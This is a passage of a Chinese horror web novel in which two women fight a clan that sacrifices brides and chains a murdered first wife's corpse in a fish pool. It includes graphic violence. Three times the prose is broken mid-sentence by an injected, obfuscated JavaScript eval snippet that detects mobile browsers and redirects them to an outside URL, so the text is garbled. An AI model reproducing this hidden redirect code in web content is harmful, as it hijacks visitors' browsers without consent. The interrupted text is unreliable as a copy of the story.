“我成亲那会儿,村里的宗祠还是族人举行婚礼的场所。我娘家势力强大,对于我的婚礼,陈氏族长不敢不往往盛大隆重操办。举办婚礼的地点,就在宗祠。” 即便如今距离那场婚礼,已经过去太久太久,这个年龄较大的新娘鬼依然记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831157|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她往池子里看的第一眼。 “那是我见过的,最怪异的水池。” 年长的新娘鬼嗓音低沉: “宗祠前的水池是方便取水用的,里面一般是淡水,这种故意造的海水池本就罕见,这个池子里也不止有鱼……” 那日离开宗祠时,她从池边经过,见那幽深发绿的池子里,竟泡着无数黄符。 一条条粗壮的锁链锈蚀斑斑,从岸边石桩上,向深不可测的水池底部延伸。那时候天色昏黑,尚且是新嫁娘的她,看不清水里拴的是什么,然而,从池底里漫上来的阴煞之气,已足以使她寒毛直竖。 黄符?锁链? 齐檎丹想起血衣女鬼。 于是她开口问了:“你们有没有见过,一个缠着锁链,浑身全是鲜血的女鬼?” “见过,不止一次。”年轻的新娘鬼急着抢白,“我认得她身上的血,那里面有我的气息。我们的血,都被陈家人拿去献祭给她了。” 齐檎丹回想起自己昨夜追了好久,都没能看到的女鬼正脸,猛地坐直身子,看向新娘鬼,羡慕之情溢于言表:“那你们看过她的脸吗?好不好看?能不能跟我说说?” 新娘鬼支支吾吾:“这不太好说……” 齐檎丹:“为什么?只是形容一下长相,也不行吗?” “我形容不了长相,也判断不出美丑,因为……因为那已经不能算是一张脸了。那张脸上,根本没几两肉了。”年轻的新娘鬼嗓音里带着惊惧,她指尖攥紧衣摆,极力克制住畏惧: “我小时候住在海边,见过落水的倒霉蛋被鱼啃光的尸体,那女鬼脸上,就是那个样子的。” 原本应有的皮肉,被鱼分吃殆尽。 白骨森森,血肉模糊。 只剩下几缕被泡得无味的皮肤纤维,薄薄一层,苍白颓然地挂在头骨表面,好似残破的白幡。 “我听其他新娘鬼猜测,这个穿血衣的女鬼,可能是陈氏族长迎娶的第一任夫人,林盼娣。”悲惨而相似的经历,让新娘鬼心头愤慨难平,“第一任夫人死得早,陈氏族长对外说她性情尖刻善妒,死后因为妒忌族长娶了第二任夫人续弦,变为了厉鬼,只能被永世镇压……” 于是,第一任夫人林盼娣的尸身,被用铁链锁在宗祠前的海水池里,又在池子里放入肉食类的海鱼,逼这些鱼以啃食尸体维生。 到如今,尸身只剩一具骷髅架子。 血肉无存。 如此丧尽天良的事,连畜.牲都做不出来。此地人心之恶,却远胜牲畜。 “海鱼吃了女鬼林盼娣的肉,得到了一部分女鬼的力量,陈氏族长就能用这些鱼肉,来控制活人。”齐檎丹缓声说着,目光越来越冷。 陈家村封建排外,村中人彼此之间紧密勾结,以捍卫宗族的整体利益。这种下三滥的手段,显然不会被拿来用在他们自家人身上。 只可能被拿去,对付外人。 而进到村里头的外人,也只有他们考察团这一波。 齐檎丹和梁安颜目前还未在这副本内,吃过任何怪异的海鱼,现下又已经逃离。所以陈氏族长有机会以此法控制的,只有留下来的五个考察员。 如果这五个考察员,还没有想办法逃走,陈家村人必然会对其加强控制。 此刻,他们大概率已经中招了。 16. 古厝诡婚16 直到那四个考察员如风卷残云一般,将桌上的海鱼一扫而空,他们才在咀嚼与回味中,逐渐找回理智。 “你们这儿的鱼,真是太好吃了!”考察员中第一个冲去吃鱼的胖子,意犹未尽地咂了咂嘴,毫不吝啬他的赞美:“这些鱼,都是你们刚从海里捞的吗?这也太新鲜了!” 对于这个问题,陈氏族长避而不答。 吩咐族人帮忙收拾碗筷后,族长便直入正题。 “刚才让各位见笑了,我们准备了好久的婚礼,还请了各位来考察,没想到却出了这么大的乱子,实在是……唉,让我颜面扫地。所以,这次请各位来,其实是有一事相求。”陈氏族长低下头,装模作样地掩面叹气: “那便是帮我们找回新娘,在这吉日里,尽快完婚。” 陈氏族长眼色如刀。 最后四字的戾气,尤其深重。 【阵营任务:接受村中族长的邀请,加入陈家村阵营,协助捉回新娘。】 阵营战要打响了。接到阵营任务的那一刹,这些考察员情不自禁地面露喜色。在这种考察员明显处于绝对下风的情况下,和N..PC同一阵营对他们来说,是一举通关的绝好机会。 只要加入陈家村阵营,他们就不用与这全村的NPC为敌。 相反,NPC还会反过来协助他们。 相比之下,他们要对付的另外一个阵营简直弱得离谱,阵营里才不过两个人,还都是女的。其中那个梁安颜的个人技能还是辅助类,毫无攻击能力。 拿下她们,还不是手到擒来的事? 大部分考察员轻蔑地扯了扯嘴角,想也不想就加入了陈家村阵营,对他们即将对付的齐檎丹和梁安颜充满不屑。 唯一没有立刻做出选择的,居然是那个胖子。他虽说因为热衷吃鱼,挡不住海鱼大餐的诱惑,却也对陈氏族长眼里的憎恨,观察得最为分明。新娘逃婚一事,族长感觉羞辱可以理解,但至于这样恨之入骨吗? 族长那个眼神,不像要成婚,倒活像是要把她骨骼碾碎,食肉寝皮。 这不合情理。 保险起见,胖子决定谨慎一些。他将眼珠子转了一转,堆出讨好的微笑:“既然吃了您的婚宴,您的事,咱们自然得帮,而且,得可劲地帮。只是……我们这群人,虽然是同一个学校出来考察的,但彼此之间也不熟悉,也不知道她们会躲哪儿啊?” “不想帮忙就直说。”陈氏族长乜视这胖子一眼,装出来的热情好客顷刻一变。 他翻脸如翻书。 一瞬之间,面色铁青。 族长态度转变之快,令胖子猝不及防:“不是不是……我没有不帮忙……” 讨饶的话语还未说完,胖子便突然看见,那族长摘下了面具,非人的鱼眼盯着他,弯了一下嘴角。那嘴角弯曲的弧度极小,却牵动衰老的脸,扯出细细密密的皱纹。 这不是一个善意的微笑。 不好!他说错话了!胖子浑身发寒,对死亡的畏惧顿时占据了上风。 在前几个副本里锻炼出的预感,让他迅速反应过来,扭身拔腿就跑。与此同时,胖子调出系统背包里的道具,猛地抬手,准备把道具往族长身上砸。 门口没人把守,道具又能争取时间。即便厅堂里人多,也不是绝无生路。 只要出了这里,他就有一线生机! 他可以…… 胖子的瞳孔骤地收缩。 丢出道具的动作还未成形,已定格在手臂前伸的那一霎。 只听得“噗嗤”一声,带着体温的鲜血,从他身前唰然喷出,泼了边上的考察员满身满脸。 胖子龇目欲裂,难以置信地睁大了眼睛,低头向自己的胸腹部看去——像是无形中落下一刀快刀,一道细长而惊人的新鲜伤口,竖着从他前胸延伸到下腹,割开胸腔,划开腹腔。 紧接着,胖子只觉得一股巨力直掏进体内,一把将他的五脏六腑全扯了出来。 “啊啊啊啊啊啊!!!” 惨绝人寰的痛叫响彻古厝。 血淋淋、热腾腾的心肝脾肺肾滚落一地,仅剩下一小截肠子,还挂在肚子外面,晃晃悠悠。 当胖子痛苦痉挛着倒下时,他体内已经空空如也,原本肥胖滚圆的一个人,成了一个皮囊中空的皮球,肉眼可见地瘪了下去。这样的死法,像极了砧板上一条被开膛破肚,去除内脏的大鱼。 血腥味冲天而起。 熏得人胃酸翻腾,面色煞白。 “是那些鱼,是因为我们吃了那些鱼……”旁边的考察员颤..抖着嘴唇。 他们当中,终于有人在恐惧中意识到,刚刚对鱼肉之所以产生反常的狂热,正是因为那些鱼控制了他们的心神。 “呕……”看着胖子凄惨可惧的尸体,和地上还在苟延残喘跳动的心脏,考察员里年纪最小的女高中生,忍不住抠着嗓子眼吐了出来。 但,呕吐无济于事。 这些鱼肉的影响无法被消除,一切已覆水难收。 “都看到了吗?这就是不合作的下场。”陈氏族长嗤笑一声,指甲在座椅扶手上轻轻划了两下,尖细的摩.擦声,像是划在人咽喉之上,威胁性十足。方才胖子的惨死,俨然是他的手笔,“不知道她们两个躲在哪儿?没关系,乖乖跟着我们就好。” 唯一没加入陈家村阵营的胖子已死,两方对立的阵营局势自动形成。 【阵营战模式已开启】 【陈家村阵营:351人(考察员4人)】 【新娘阵营:2人(考察员2人)】 这是一场绝不公平的对决。对阵双方的人数差距,悬殊得可怕,俨然是一场彻头彻尾的碾压。 . 在象征陈家村阵营人员的黑点,压城乌云一般,将齐檎丹和梁安颜所处的屋子团团包围时,阵营战模式开启的通知才姗姗来迟。 【阵营战模式已开启。】 【新娘鬼阵营:齐檎丹,梁安颜】 【陈家村阵营:陈家村全体,及其他存活的考察员】 【本次阵营战规则:副本关闭之前,只要陈家村阵营抓住新娘阵营,则视为陈家村阵营胜利,该阵营内的所有考察员均可直接通关副本。】 悬殊的人数差距,看得梁大小姐两眼一黑。 她们两个,居然要对阵整个陈家村和所有考察员,而且阵营战的规则还这么偏心?这合理吗? “我从没见过这么离谱的规则。” 梁安颜揉着发疼的太阳穴,忽然感到了绝望:“规则里,只写了陈家村的获胜条件,我们新娘阵营的胜利条件,却压根没写。这样下去,我们只可能被抓。” 看来,冒险还是有代价的。 这样不合理的规矩,根本就没给她们留活路。 她们现在所处的这个房间里,可不比古厝外,但凡占据绝对人数优势的陈家村阵营,把出入口全部 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距离她们最近的几个新娘鬼还未启唇,一个虚弱苍老的声音,已从后方缓缓传来:“我这里有个东西,也许可以帮到你们。” 飘来的,是密室里最年长的新娘鬼。 由于被关在这里受折磨的时间最长,她的神魂已然将要消散,趋近透明。 老新娘鬼颤颤巍巍地伸出手,向齐檎丹递去。张开的掌心里,赫然躺着两块彩绘精美的破碎瓷片。 顷刻间,强烈的熟悉感倏然袭来。 齐檎丹瞳孔一缩。 她几乎是急不可待地,将两块碎片拿了起来。 这两块碎瓷片不是别的,竟是夫人妈塑像缺失的碎片。夫人妈塑像剩下的碎片,居然藏在这里! 【检测到“残缺的夫人妈碎片”×2】 【当前收集进度(5/5)】 【检测到收集已完成,“残缺的夫人妈碎片”已自动合成“夫人妈神像”】 只在须臾之间,五块夫人妈碎片便拼合完成。那尊慈悲温柔的夫人妈塑像呈现之时,一道烛照天际的金光,倏然从中爆发,照彻长夜。 这一次,出现的不止有声音。 清晰的影像在这道金光里成形,一个女子的身影,在她们面前浮现而出。 香火缭绕间,女子在夫人妈塑像前虔诚跪拜。她形容憔悴,作古时候已婚妇女的打扮,然而此人的容貌眉目,竟熟悉得令人心惊。 梁安颜近前一看,忍不住惊呼出声:“穆青青?她怎么会在这里?” 这不应该! 那时候,穆青青还没出生啊。 “你看错了,她不是穆青青。”老新娘鬼摇摇头,缓声说道,“她是穆青青的前世,嫁给陈氏族长的第二任夫人,郑月。” 只是,这两任夫人的故事,远非陈氏族长对外宣传的那样,第二任夫人郑月因为贪图荣华富贵,勾.引族长嫁进古厝,第一任夫人林盼娣因为善妒化为厉鬼报复。事实,截然相反—— 郑月是为了替友复仇,才冒险被花轿抬进这龙潭虎穴的。 而她要为之报仇的好友,正是被陈家村逼成厉鬼,尸骨还被泡在水里折辱的第一任夫人林盼娣。 她们,是彼此的挚友。 而非情敌。 17. 古厝诡婚17 这次出现在她们面前的影像,显然发生在郑月设计嫁给陈氏族长,成为第二任夫人的一段时间之后。 虽然前世今生使用的是同一张脸,年岁也相差不大,但比起记者证上穆青青的青春靓丽,影像里跪拜的第二任夫人郑月,仿佛老了十余岁。 整个人,疲惫而憔悴。 彼时,郑月已经查清了好友死亡的真相,在陈家的操劳和残忍真相的双重折磨下,变得形销骨立。她眉骨下嵌着的一双眼眸,却被愤恨洗得深邃发亮。 郑月凝视着,她为好友塑造的夫人妈像。为了防止被陈氏族长发现,她无法将这尊夫人妈神像的脸,捏造得与好友太过相似。 但即便只有三分相像,那神像,却映照出了她记忆里的影子。 “我已经找到害死你的真凶了。那凶手,就是你的丈夫和你的婆家。你根本就不是病死的,你是被他们虐待至死的!”她双眼噙泪,仰面朝上凝望,控诉的语气激愤悲凉。 那不是在看神的目光。 神明永远是高高在上的,远隔云端。 而郑月看向那尊昳丽端庄的神像时,却是在与含冤而死的挚友久久对望。 “他们家大业大,在这一带只手遮天,隐瞒真相。要不是我嫁进来打探消息,我甚至不知道,你婚后究竟遭受了什么样的折磨。” 郑月越往下说,越觉满腔怨愤: “你性子柔顺,任劳任怨地照顾婆家和丈夫,毫无怨言,但这家人却苛责你,虐待你。陈家村世世代代重男轻女,只要男娃,不要女婴,可怜你难产后本已奄奄一息,就要看着你拼死生下的女儿,在你面前被活活溺死……” “……你是被他们丧尽天良的暴行,活活气得吐血而亡的!” 然而,那可恨的施暴者却只手遮天。 得不到应有的制裁。 亡者无法开口。 夫人妈神像低眉垂目,默默无言。 只有神像前供奉的香烛升起白烟,轻缓地萦绕在郑月身畔,仿佛对生者无言的安慰。 郑月改跪为坐,坐在面前的蒲团之上,像昔日靠在好友的肩头一般,将头轻轻靠向摆放有夫人妈像的床头柜。 “你还记得,我们以前住的小渔村吗?”郑月喃喃自语,“我们以前,最爱到村前的海边去玩,落在海里的朝霞像火一样美。这里真不是人待的地方,我每次撑不住的时候,总会想起你,想起那片海。” 浸泡在潮水里的旭日,被染成胭脂色的海平面,以及那段回不去的童年时光…… 而今思来,宛如拍碎在礁石上的浪花。 不过旧梦一场。 郑月凝望着神前香炉中,氤氲升腾的白烟,良久,默不作声地擦去了眼泪。在这个不公的世道面前,眼泪是最没有用的东西。 在这个重男轻女的环境下,女子的性命比草轻贱。她们两人又俱是渔女,人微言轻,没有人愿意替她们出头。 想要公道,就必须自己去讨。 郑月慢慢直起腰,再次抬起的眼眸,坚定得心颤: “小时候,我们约定过,谁要是遇到意外先走一步,死后就要做对方的夫人妈,保护对方。如今,我作为活下来的那个,也一定会替你讨回公道。” 她在夫人妈像跟前立下誓约,随后,毅然转身推开房门,一脚迈进昏黑的夜色里。 夜色沉沉,长路漫漫。与一己之力与如此庞大的势力为敌,郑月岂会不知,她踏上的是一条月光照不亮的不归路? 而神像之上,一道光影流过脸庞。 宛如泣泪。 . 呈现在齐檎丹等人面前的画面,在郑月离开的这一幕中结束,但结合后面发生的事情,不难知晓,郑月出门后做了些什么。 掌握了好友身死真相的她,不畏艰辛,四处状告,只求制裁将好友害死的凶徒。 但,郑月失败了。 郑月最终惨死,被她秘密供奉起来的林盼娣夫人妈像,也被陈家人砸成碎片。 已逝的第一任夫人林盼娣没能保住友人,悲愤交加下化为厉鬼复仇,却被陈氏族长找人布下阵法镇压,将尸身永锁水底。连她对陈氏族长、对陈家村的怨气都遭到利用,摇身一变,成了此地陈氏一族的财运,与其族长的青春。 何其讽刺,何其可悲。 “要是当年郑月成功,报官把陈家村的族长抓住,后面就不会有后面这么多的女性无辜被害了。” 梁安颜不由得,为郑月的失败而叹息:“可惜,当时女子不受重视,只凭借她一个人的力量,想要对抗那么大一个庞大的宗族,实在是……太难了。” 蚍蜉撼树,或许是愚不可及的决定,但是对于想讨回公道的郑月,她别无选择。 恰恰正因为前世的执念未了,第二任夫人郑月的魂魄即便入了轮回,投胎转世,也在今生化作记者穆青青后,被未消散的执念牵动着,又一次,如飞蛾扑火一般,回到害她前世身死的古厝。 她愿用每世的性命,换取一个揭露真相,拯救故友与其他女子于水火之中的机会。 即便身死,也在所不辞。 陈家村的男人们,可以往她们身上,泼上贪财的脏水,抹上善妒的污名,将她们真实而悲惨的经历,埋藏于黄土之下…… 但怎样残暴的抹杀,都改变不了,她们拯救对方的执念。 哪管成神成鬼,无论今生前世。 这一点,始终未变。 这段影像消失后,屋里的金光渐渐转淡。紧接着,完整而神情悲戚的夫人妈神像,就从半空中落了下来,被齐檎丹稳稳接住,一行崭新的道具介绍,随即呈现在齐檎丹面前。 【您已获得道具“夫人妈神像(级别:稀有)”】 【夫人妈神像(待激活):郑月请人为林盼娣塑造的夫人妈神像,承载着林盼娣的灵魂。】 【注意:由于本道具受到过大的摧残,需要使林盼娣的尸体与神像接触,才能将其激活。激活后,将为持有者提供保护作用】 齐檎丹作为第一次进副本的新人,不清楚稀有级道具的含金量,但已经多次进副本的梁安颜知道——困难级副本里,稀有级别的道具有且仅有一个。 哪怕出了副本,稀有级道具也会被人争抢购买。 珍贵程度可想而知。 梁安颜上一秒刚在感慨齐檎丹的好运气,下一秒,这尊宝贵的夫人妈神像,便被齐檎丹猝不及防地塞进了她手里。 这一举动,让梁安颜分外不解:“这么珍贵的道具,你不自己保管吗?为什么交给我?” 这种有钱也难以买到的道具,齐檎丹难道不应该放进系统背包里,随身携带? 然而,齐檎丹似乎心意已定。 齐檎丹没将夫人妈神像收回,反而将这个至关重要的道具,往梁安颜手里塞得更紧了一些,语气郑重其事:“到宗庙水池那边,激活夫人妈神像的事,就拜托你了。” 但前提是,她们能活着从这个屋子里出去。 门外,包围圈正在收紧。 陈家村阵营的人高举着火把,步步紧逼。 齐檎丹透过门缝往外瞟去,一眼便瞧见了选择加入陈家村阵营的三个考察员。再往后,才是被簇拥在中央的陈氏族长,和难以计数的族人村民。 这三个考察员非常好辨认,其中一个是高中女学生,另外两个则是身高差距极大的男性,一高一矮。矮的那个考察员,梁安颜跟她说过,特殊技能是重现先前情景。而高个的那个,能力未知,则更需要她们小心留意。 “啧,来的人还挺多。”齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841883|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檎丹撇撇嘴。 她抽空瞅了眼剧情解锁度,已经上涨至几乎全满。 这意味着,齐檎丹已经对两个最重要的拍摄对象,即女鬼林盼娣和新娘鬼穆青青,有了较为完善的了解。齐檎丹敢拿她多年的拍摄经验担保,只要再有拍照机会,她就有把握拍出比S级更好的照片。 一想起拍照,齐檎丹就忍不住心潮澎湃,两眼放光。然而,想要拍摄,首先得解决门外那群拦路虎。 那群人,是她目前最大的障碍。 “里面的人听着,你们已经被包围了!”族长还没发话,更高大魁梧的那个考察员就先站了出来,抡起火把,作势要烧放火屋,“识相的,就乖乖从里面滚出来,别逼我们烧了这里!” 他声音高亢,嗓门巨大,登时把现场的情绪掀得高涨。村民们纷纷高举起火把,随声附和: “滚出来!滚出来!滚出来!” 一时间—— 火焰烈烈,喊声震天。 数以百计的火把连成一片,烈焰上滚滚黑烟冲天而起,转瞬将屋子笼进火光。 火焰炙烤的热浪里,齐檎丹被吵得耳膜发疼。她指腹在相机坚.硬微冷的外壳上,轻轻摩挲了两下,随即将相机收进了系统背包。 神色间,全然不见慌乱。 “真烦,得赶紧把这件事解决了。”她低声抱怨。要是再磨蹭下去,别说拍照了,连她这耳朵都快要聋掉了。 “你已经想到出去的办法了,对吗?”梁安颜看向齐檎丹。 齐檎丹点点头。 梁安颜:“我们要用什么方法,要买什么道具?如果有能用得着我的地方,我会全力配合你。” “我确实需要你的帮助。”齐檎丹把双手并在一起,往她面前一伸: “把我捆上,交出去。” 梁安颜愣住了。 疑惑的神情,从梁大小姐的脸上浮现,她最终什么也没有做。 “快一点。”齐檎丹催促,“这些人主要是冲我来的,把我交出去,再加上有夫人妈神像的保护,你会没事的。” 梁安颜这下才明白,为什么齐檎丹要把那至关重要的夫人妈神像交到她手里,交给她激活。因为齐檎丹这次一旦出去,即便侥幸不死,也会被族长严密控制起来,根本到不了激活夫人妈的池子。 激活夫人妈这件事,只有梁安颜能做。 成败在此一举。 她必须,也必定会配合齐檎丹,唱好接下来这出戏。 . “这么久还不出来?这俩小娘们,别是被我们吓破胆了吧?”高个子考察员守在门外,等她们出来等得没了耐心。 他随便把火把戳在土里,用积分兑了包瓜子,蹲着嗑了起来。 嗑得瓜子皮满地都是。 “要我说,咱们也别等了。”那大高个焦躁地往地上啐了一口:“要是她们再不出来,咱们就放火把这里烧了,把她们都烧死。反正那系统也没说一定要抓活的,到时候把她们尸体抓来,也算是完成任务了……” “杀我?那也要看你们族长舍不舍得。”齐檎丹的冷哼,隔着门,从屋内传来。 下一刻,房门倏然大开。 齐檎丹掀起眼帘,施施然跨过门槛,走出屋外。 包围屋子的火把炽热灼眼,掀起骇人热浪,齐檎丹的发丝在火光里翻飞不止。即便双手被绑缚在身前,她仍嘴角含笑,脊骨笔直,下巴微微抬起。 若不看当下敌强我弱的局势,和她被束缚的手腕,齐檎丹此刻竟比胜券在握的陈家村阵营,还像一个胜者。 “如果我猜得不错,你们陈家村,现在应该极度需要一个新娘。”齐檎丹抬起头,毫不客气地逼视着陈氏族长: “而很遗憾,除了我,你们别无选择。” 18. 古厝诡婚18 齐檎丹的目光锋利,倨傲,带着不可一世的锐气,如刀一样径直砍向陈氏族长。 这样的眼神和话语,霎时间激起众怒。 “给我放尊重点!你那是什么态度?是跟我们族长说话的态度吗?”听见齐檎丹出言不逊,村民里有几个年轻气盛的青年骤然怒意上头。他猛地跳将起来,撸起袖子,攥起拳头,冲上来就要打齐檎丹。 然而,拳还没挥起来,他们却冷不防被族长拦住了。 面对齐檎丹挑衅般的话语,陈氏族长无可反驳。他面色难看地回视着前方,面容里的疲惫难以掩饰,仿佛齐檎丹的目光,果真劈开了族长脸上那块欲盖弥彰的面具,刺伤了他面具底下苍老丑陋的灵魂。 “这女的嚣张跋扈,无法无天!族长,我们大不了另找一个,不受这鸟气!”有个没眼力见的青年村民,还在忿忿地叫嚣。 回应他的,只有齐檎丹的嗤笑。 “呵,另找一个?”齐檎丹言语讥诮,意有所指地盯着人群里,那个骗考察团来此的陈老师:“如果这件事,真的像你说的这么容易,族长就不会和我们那个陈老师苦心策划,冒着断送陈老师教书生涯的风险,只为了这次骗人进村了。” 哪怕只是失踪了一个女学生,也是极其重大的教学事故,回去后学校一旦追责,带队的陈老师首当其冲。 轻则处罚,重则解聘,还可能被逮捕移送司法机关。 这辈子,他算是完了。 “没了这个陈老师,你们村在外务工的村民里,还有几个可以牺牲的?”齐檎丹挑眉反问,“我说句难听的,等到下一个新娘来的时候,你们这个宗族的人,只怕早就死光了。” 现在早已进入信息时代,消息的传播越来越迅猛便捷,即便他们瞒得住新娘死亡的真正原因,也藏不住她们遭遇噩耗的事实。 将记者穆青青吸引过来的女子失踪报道,便是一个证明。 之后,不肯来的人只会越来越多。 他们的骗局终将失效。 青年族人言辞激烈地反驳:“你瞎说!我们宗族怎么可能断绝香火……” “还跟我犟呢?你们宗族为什么这么急着找新娘,你应该比我更清楚。”齐檎丹冷笑: “你们曾经请道士来,封印过女鬼林盼娣。但这个阵法,如今功效日渐减弱,林盼娣对你们施加的诅咒,因此卷土重来。你们宗族受到诅咒的影响,近些年新增的男丁数量,大概少得可怜吧?是不是就连已经成年的男人,身体也频频出问题?” 因为女鬼林盼娣的复仇对象,是男性—— 陈家村里的所有男性。 只因性别之分,这群男人当着她的面,残忍地杀死她女儿,之后又害死她好友,所以林盼娣在愤恨的驱使下,也为陈家村布下了一个只针对男丁的诅咒。 齐檎丹:“你们陈家村重男轻女,溺死女婴。这个诅咒,就是你们村里所有的男丁早逝,断子绝孙。”林盼娣要让这些从小被捧在手心里的男人们,也尝尝被剥夺生存权的痛苦与恐惧。 以眼还眼,以牙还牙。 青年村民涨红了脸,慢慢低下了头。了解村中现状的他,逐渐意识到,齐檎丹说的是对的。 只要封印女鬼的阵法不被加固,这个诅咒的影响不消除,不止不会有新生儿诞生,他们村子里的所有人还会惨遭灭顶之灾。 而封印阵法和新娘之间,存在关联。 梁安颜过目不忘,只见过一遍《阵法大全》,便背出了里面的注解:“封印女鬼的阵法,需要在女鬼怨气最强的时候,才能布下。你们需要怨气。” 梁安颜停顿了一下,看向前方这群杀孽深重的村民:“我记得,闽南的夫人妈基本上是妇幼保护神,结合林盼娣的身世,她所保护的,应该是女婴在内的陈家女性。伤害这些女性,最能刺激林盼娣产生怨气……” 有陈家血脉的女婴不好找,相比之下,找嫁入陈家的女子则相对容易。 因而陈氏族长选择了后者。 “……诅咒当前,你们急需献祭一个新娘,强行激发女鬼的怨气。这样,你们才能够再次布阵封印女鬼的机会,并利用她的怨气,收割一波财富和青春。”梁安颜说道。 闽南传统婚俗的仪式繁多,每个步骤都有其特殊的寓意,准备与实行起来耗时颇久。即便在场的还有其他女考察员,再举办一次婚礼也并非容易的事。 能不用再次举办婚礼,自然最好。 齐檎丹自然而然地接过话茬:“而只差几个婚礼仪式,就能嫁进陈家的我,是献祭的最好人选。” 陈家村的最后一块遮羞布,在齐檎丹和梁安颜的一唱一和中,被当着外人的面赤.裸裸地揭开,陈氏族长的面色阴沉得能滴水:“说吧,你想要什么?” “我只有一个条件。” 齐檎丹抬起被绑住的手,指了一下.身边的梁安颜:“我要你向闽南的众神发誓,梁安颜能完完整整地从这里离开,一根毫毛都不能少。否则,我就算今晚被活活烧死在这里,也绝不可能让你们如愿。” 考察员被绑缚住双手后,由于没办法从系统背包里调取道具,本无法产生多大的威胁,但齐檎丹的身份特殊,因此威胁效果立竿见影。 陈家村需要一个活着的祭品新娘,而非一具死去的尸体。 在闽南,神明的威望不容置疑。一听要对神起誓,陈氏族长果然收敛神色:“好,我发誓,我不仅不会让任何一个人伤害她,还会把她平平安安地送出古厝。” 直到誓言既成,陈氏族长脸上对神明的敬畏,才终于散去。 他一声令下,早已等候在旁的村民,立刻如豺狼虎豹一般扑上了过来。村民左右钳制住齐檎丹,警惕她再次逃婚。旁边,加入陈家村阵营的三个考察员自以为赢下一局,在系统通知获胜的播报声中,欢呼雀跃。 殊不知,当被押着从梁安颜身边经过时,齐檎丹不动声色地转过头,与梁安颜对视。 微弯的弧度,在唇角上一闪。 随即遁入夜色。 她已经竭尽所能地保下了梁安颜,而副本里最重要的夫人妈道具,也已在梁安颜的系统背包里……一切,正按照齐檎丹的计划,有序进行。 前期的铺垫已经做好。戏台搭起,观众到齐。 接下来,该唱戏了。 . 陈家村人将齐檎丹带走的意图,非常明确,那就是逼她完成因逃婚而中止的婚礼,以方便通过这场婚礼,将她转化为更能激起女鬼怨怒的祭品,被更好地献祭。 厅堂跟前,上百个村民以身为墙,堵死了齐檎丹所有能逃的路。出于对齐檎丹的戒备,他们准备的措施不止如此。 齐檎丹才被罩上那与盖头作用相同的黑纱,身后便有窃窃私语接连响起。 无数声音混杂在一起,齐檎丹听不清具体内容,只看见一根根细长的红色丝线从人群上空凭空生出。而后,凶狠地刺进齐檎丹的各个关节。 刺穿皮肉,扎进骨骼。 宛如提线木偶的傀儡丝,操控着她,束缚着她。 使她无法控制自己的行动。 腕关节、肩关节、肘关节、髋关节……人体关节共有七十八个,大关节十五个。然而,那丝线却足有十六条。 最后一条末端,分叉出两条更细的小线,一左一右,提拉起她的笑肌。 在脸上,扯出一个僵硬的微笑。 被穿透的关节血流如注,齐檎丹忍着钻心的剧痛一看。编织成丝线的,密密麻麻全是对女性的规训: “女人最重要的是把婚结了,不结婚生子就不完整。” “不结婚?那太自私了,家里爸妈都抬不起头。哪个娘们不结婚生娃啊。” “早点嫁出去,给夫家多生几个儿女,尊重丈夫,孝敬公婆,才是女人的头等大事。能忍忍就忍忍吧。” …… 村中人的悠悠众口不停,丝线就永远不断。 齐檎丹突然想起,密室里缠绕在那些夫人妈神像身上的傀儡丝。丝线本是无色,却被一代又一代女性的斑斑鲜血,染成了鲜红。 送嫁姆把嗓子掐得又尖又细: “新娘带入门,子婿代代出贤人。” 扭得百转千回的尾音中,檐下灯笼无风自动,诡异的血色灯光在夜里晕开,衬出送嫁姆一张用胭脂水粉抹出的虚伪笑脸。 送嫁姆飞了个眼色,穿透齐檎丹关节的傀儡丝线便向前方猛一牵引,强硬地控制着齐檎丹的动作,逼迫她跨过了第一道门槛,进入前厅大门。 “新娘带入堂,新郎庭前声名响。” 第二道门近在眼前。 不等丝线来拉,齐檎丹已迈开步伐。 受制于人的感觉太过糟糕,齐檎丹主动提起繁复的嫁衣裙摆,抬脚往门槛处跨去。周围的村民先是一愣,心中猛然拉响警铃。 在场的村民里没有一个,能不对齐檎丹踩踏门槛的前车之鉴,记忆犹新。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐檎丹趁机不备,骤地甩开送嫁姆的手,顺势往送嫁姆身上一把推去。送嫁姆被推得绊在门槛上,摔得四仰八叉,吉利话的尾音,登时化作一句气急败坏的脏话:“抓住她!别让她再跑了!!” 说时迟那时快,齐檎丹已脱出绳结的束缚,趁着丝线最薄弱的时候,三下五除二将十六条丝线全部扯开。 村中人妄想以傀儡丝束缚她,可她不是傀儡,她是人。 是会为了自由,拼死反抗的人。 “噗嗤——” 丝线被扯出的瞬间,鲜血喷了送嫁姆一脸。 “放心。我答应过你们,我不会跑的。”齐檎丹望着前方杀气腾腾的上百个村民,不紧不慢地活动了一下手腕。搭在手腕上的最后一段绳索,也随着她的动作,萎靡落地。 手持照片如刀片,她撩起头上盖着的黑纱,嫣然一笑: “更何况,跑的是谁,还不一定呢。” 齐檎丹浑身伤痕累累,却像不知疼痛一般笑着。 